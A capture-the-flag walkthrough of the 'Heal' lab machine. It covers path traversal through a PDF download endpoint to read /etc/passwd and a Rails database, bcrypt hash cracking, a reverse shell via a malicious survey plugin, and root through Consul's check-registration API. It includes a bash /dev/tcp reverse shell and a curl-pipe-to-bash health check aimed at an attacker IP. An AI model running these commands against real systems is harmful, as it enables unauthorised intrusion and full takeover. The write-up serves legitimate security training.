Linux - Medium - Heal

Recon

└──╼ $whatweb heal.htb
http://heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.110.223], Script, Title[Heal], X-Powered-By[Express], nginx[1.18.0]
└──╼ $nmap -p- -A heal.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 22:40 UTC
Nmap scan report for heal.htb (10.129.110.223)
Host is up (0.050s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Heal
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.95 seconds
└──╼ $gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -u http://heal.htb  --append-domain -t 150
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://heal.htb
[+] Method:          GET
[+] Threads:         150
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: api.heal.htb Status: 200 [Size: 12515]
Found: API.heal.htb Status: 200 [Size: 12515]
Found: Api.heal.htb Status: 200 [Size: 12515]

Main site

After creating an account, we are greeted with resume builder.

It can be exported to pdf.

In burp we can modify the contents field to generate any pdf we want.

Exploring the site we can aslo find survey under a new subdomain, take-survey.heal.htb.

We can also see that all of the actions are done through an api. Running curl api.heal.htb gets us:

    <li><strong>Rails version:</strong> 7.1.4</li>
    <li><strong>Ruby version:</strong> ruby 3.3.5 (2024-09-03 revision ef084cc8f4) [x86_64-linux]</li>

Testing for https://api.heal.htb/?name=abc gets us rails site.

PDF downloads

Looking further in burp we can monitor how pdf’s are created. First file is sent to /exports and then we are downloading it from /download, i.e: /download?filename=b8ee5207be6ef2a567c2.pdf

We can test this for path traversal and try to download ../../../../../../../../../etc/passwd. We get then pdf file, that opened in text editor looks like what we wanted.

Inspecting it we can see two users on our system, ralph and ron. www is ther as usual.

ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Testing for ../../../../../../../../../home/{ron|ralph}/.ssh/id_rsa get’s us nothing.
Further looking for files we can get crontab, but its unchanged. We can also get ../../../../../../../../../etc/nginx/nginx.conf.

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
    sendfile on;
    tcp_nopush on;
    types_hash_max_size 2048;

    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
    ssl_prefer_server_ciphers on;

    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    gzip on;

    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;
}

We know that we are using ruby on rails. Looking online on stackoverflow we can see that the default location of database is config/database.yml. Downloading a file under ../../config/database.yml gets us:

# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

We can then get development database (located under ../../storage/development.sqlite3) and finaly get user hash.

1|ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG|2024-09-27 07:49:31.614858|2024-09-27 07:49:31.614858|Administrator|ralph|1

Running hashcat -m 3200 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt cracks us the hash.

hashcat --show -m 3200 hash.txt
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369

So we have now creds: ralph : 147258369

It does not let us in on the ssh, so we have to dig deeper. We already abused main site and api subdomain, so now time for take-survey.heal.htb.
Running dirsearch gets us:

Target: http://take-survey.heal.htb/

[12:34:23] Starting: 
[12:34:48] 302 -    0B  - /Admin/  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:48] 302 -    0B  - /admin/_logs/error_log  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:48] 302 -    0B  - /admin/admin-login  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:48] 302 -    0B  - /admin/admin.js  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:48] 302 -    0B  - /admin/adminLogin.jsp  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 -    0B  - /admin/default/login.asp  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 -    0B  - /admin/fckeditor/editor/filemanager/connectors/asp/upload.asp  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 -    0B  - /admin/home  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 -    0B  - /admin/index.html  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 -    0B  - /admin/login.jsp  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 -    0B  - /admin/logs/access.log  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 -    0B  - /admin/manage/login.asp  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 -    0B  - /admin/pma/  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 -    0B  - /admin/sxd/  ->  http://take-survey.heal.htb/index.php/admin/authentication/sa/login

Using ralphs creds let’s us in.

We can then add plugin, activate it and get reverse shell by entering the site. Malicious plugin can be found on github. It is important to add version 6.6.4 to the config.xml file, otherwise we will get version mismatch. We get logged in as www-data.

For QoL we can stabilize the shell.

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL-Z
stty raw -echo; fg

Priv esc

www-data@heal:/tmp$ ss -tulpn
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                                                 
udp   UNCONN 0      0          127.0.0.1:8600       0.0.0.0:*                                                           
udp   UNCONN 0      0            0.0.0.0:39855      0.0.0.0:*                                                           
udp   UNCONN 0      0            0.0.0.0:5353       0.0.0.0:*                                                           
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*                                                           
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*                                                           
udp   UNCONN 0      0          127.0.0.1:8301       0.0.0.0:*                                                           
udp   UNCONN 0      0          127.0.0.1:8302       0.0.0.0:*                                                           
udp   UNCONN 0      0               [::]:5353          [::]:*                                                           
udp   UNCONN 0      0               [::]:39087         [::]:*                                                           
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*                                                           
tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*    

tcp   LISTEN 0      244        127.0.0.1:5432       0.0.0.0:*                                                           
tcp   LISTEN 0      1024       127.0.0.1:3001       0.0.0.0:*                                                           
tcp   LISTEN 0      511        127.0.0.1:3000       0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8302       0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8301       0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8300       0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8600       0.0.0.0:*                                                           
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8503       0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8500       0.0.0.0:*                                                           
              

using chatgpt for quick check:

UDP 127.0.0.1:8600 - Consul DNS queries or local DNS service
UDP 0.0.0.0:39855 - Ephemeral port for temporary connections
UDP 0.0.0.0:5353 - Multicast DNS (mDNS)
UDP 127.0.0.53:53 - Local DNS resolver (systemd-resolved)
UDP 0.0.0.0:68 - DHCP client
UDP 127.0.0.1:8301 - Consul gossip protocol
UDP 127.0.0.1:8302 - Consul Serf communication
UDP6 :::5353 - Multicast DNS (mDNS over IPv6)
UDP6 :::39087 - Ephemeral port for temporary connections

I’ve never heard of consul before, but it’s a product made by Hashicorp for Identity-based networking.

www-data@heal:/tmp$ consul version
Consul v1.19.2
Revision 048f1936
Build Date 2024-08-27T16:06:44Z
Protocol 2 spoken by default, understands 2 to 3 (agent will automatically use protocol >2 when speaking to compatible agents)

We can see that it is running under root, so it’s a pretty lucrative target.

root         991  0.6  2.6 1359780 105580 ?      Ssl  Dec15   6:39 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
www-data   55875  0.0  0.0   6828  2032 pts/0    S+   16:59   0:00 grep consul

From there it’s easy. It turns out that there is a way to execute arbitrary code using consule.

  1. Create reverse shell file i.e
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.21/4444 0>&1
  1. setup a server to host the file with sudo http-server -p 80.
  2. setup listiner with nc -lvnp 4444
  3. setup malicious health check
curl -X PUT -d '{
  "Name": "malicious-check",
  "Args": ["/bin/bash", "-c", "curl http://10.10.16.21/shell.sh | bash"],
  "Interval": "10s"
}' http://127.0.0.1:8500/v1/agent/check/register
  1. run healthchecks with curl http://127.0.0.1:8500/v1/health/state/any.

We are in as root. It’s possible that it did skip an exploit that was intended for user, but root is root.